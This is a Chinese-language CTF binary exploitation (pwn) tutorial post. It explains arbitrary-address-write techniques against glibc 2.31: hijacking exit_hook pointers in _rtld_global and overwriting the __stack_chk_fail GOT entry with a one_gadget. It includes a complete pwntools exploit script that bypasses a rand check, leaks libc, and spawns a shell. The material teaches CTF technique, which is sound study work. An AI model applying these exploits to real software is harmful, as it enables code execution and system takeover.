pwn入门-任意地址写
柳贯一 发表于 江西 二进制安全 1316浏览 · 2024-05-13 12:00

pwn入门-任意地址写

在最近的ctf比赛中,新学到一点知识和师傅们分享一下

void _input()
{
    void *buf;
    read(0,&buf,8ull)
    read(0,buf,8ull)
}

我们一般会通过这种代码获得任意地址写任意内容的能力

第一个位置输入要篡改内容的地址,

第二个输入篡改后的内容

而有了这个能力之后,我们可以修改许多的内容来getshell

或者是在堆题中(简单的uaf或者是double free题目中)我们可以通过堆漏洞的利用来获得向任意地址写任意内容的能力

任意地址写-exit_hook劫持

这是一道关于任意地址写的题目,题目中同时出现了exit函数

以及让我们获得任意地址写任意内容的能力

我们先来看看exit函数是怎么运行的

exit运行过程

#include<stdio.h>

int main()
{
    printf("maxwell");
    exit(0);
}

首先我们运行上述简单代码,然后在gdb调试中查看函数调用过程

这一步时输入s步入

观察到在exit函数内部存在__run_exit_handlers函数调用,这是在函数调用时经常存在的嵌套函数调用

我们继续步入观察

再次观察到调用了_dl_fini函数,为了观察方便,我们直接查看_dl_fini函数的源码

1 #ifdef SHARED
 2   int do_audit = 0;
 3  again:
 4 #endif
 5   for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
 6     {
 7       /* Protect against concurrent loads and unloads.  */
 8       __rtld_lock_lock_recursive (GL(dl_load_lock));
 9 
10       unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
11       /* No need to do anything for empty namespaces or those used for
12      auditing DSOs.  */
13       if (nloaded == 0
14 #ifdef SHARED
15       || GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
16 #endif
17       )
18     __rtld_lock_unlock_recursive (GL(dl_load_lock));

在_dl_fini中存在两个函数指针

  1. __rtld_lock_lock_recursive
  2. __rtld_lock_unlock_recursive

我们可以利用任意地址写的能力,将这两个函数指针指向我们能getshell的函数,一般是指向one_gadget

我们gdb查看一下这两个指针的信息




我们可以看到,其中一个指针处于_rtld_global偏移为3848位的地址

我们找到_rtld_global相对于libc的偏移

用该地址加上3848即是要篡改的函数指针的地址

打远程中,我们获得libc基址后,可以去libc网站中查询该结构体距离libc基址的偏移,再加上3848即可

题目分析

先是利用了一个rand函数生成随机数,由于题目给了libc文件和ld文件,我们直接调用libc中的rand函数生成一个随机数并接收

即可绕过随机数检测

gift函数中

给了我们puts函数的真实地址,我们可以通过这个地址减去偏移来获得libc基址并接收

程序内还给了一个任意地址写的函数,同时具备exit函数。即可利用到我们上面所分享的知识来getshell

exp

import requests
from pwn import *
from requests.auth import *
import ctypes
from ctypes import *
context.log_level='debug'
context(os='linux', arch='amd64')
io = process('./pwn1')
#io = remote('47.98.236.4',5002)
elf = ELF('./pwn')

libc = ELF('./libc-2.31.so')

libcc = cdll.LoadLibrary('./libc-2.31.so')
libcc.srand(libcc.time(0))

ld = ELF('./ld-2.31.so')

def dbg():
    gdb.attach(io)
    pause()

a= libcc.rand()%0x6E
print(a)
io.recvuntil('please enter this challenge\n')

io.sendline(str(a))
io.recvuntil('0x')

puts = int(io.recv(12),16)

print(hex(puts))

base = puts-libc.sym['puts']
print(hex(base))

io.recvuntil('Come and try it out\n')

dbg()

pay1 = b'a'*0x28+p64(0x04012BD)[:6]
io.send(pay1)

io.recvuntil("Congratulations on completing a big step")

onegadget = [0xe3afe,0xe3b01,0xe3b04]
one_gadget = base + onegadget[0]

exit_hook = base+0x222f68

io.send(p64(exit_hook))
print(hex(exit_hook))
pay222 = p64(one_gadget)
io.send(p64(one_gadget))
io.sendline('cat flag')
io.interactive()

任意地址写-canary保护劫持

canary机制讲解

我们知道在canary保护是一种用于保护栈溢出的机制,会在函数的末尾对栈空间内一个随机数的检测

64位程序中
32位程序中

我们可以看到

在64位程序中canary距离栈底rbp的距离为8字节

在32位程序中canary距离栈底ebp的距离位0xc字节

当然,canary的位置是题外话了,我们还是研究一下canary的调用机制

我们对如下代码进行gdb调试

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  read(0, buf, 0x100uLL);
  return v6 - __readfsqword(0x28u);
}

输入大于24字节的内容触发canary保护

函数调用了一个名为__stack_chk_fail的函数,按理如果没有触发canary保护,程序会直接退出

但此时调用了该函数,执行该函数之后程序也是直接退出了

且该函数存在于plt表中,所以我们可以利用任意地址写的能力来劫持__stack_chk_fail函数的got表

题目分析

明显的栈溢出漏洞和canary保护,赠送了puts函数的真实地址,以及任意地址写的能力

我们直接利用任意地址写的能力来修改stack_chk_fail的got表地址为one_gadget即可stack_chk_fail的got表可以直接查询ida得到
libc基址通过泄露的puts函数真实地址de'dao

exp不再过多赘述

2 条评论
某人
表情
可输入 255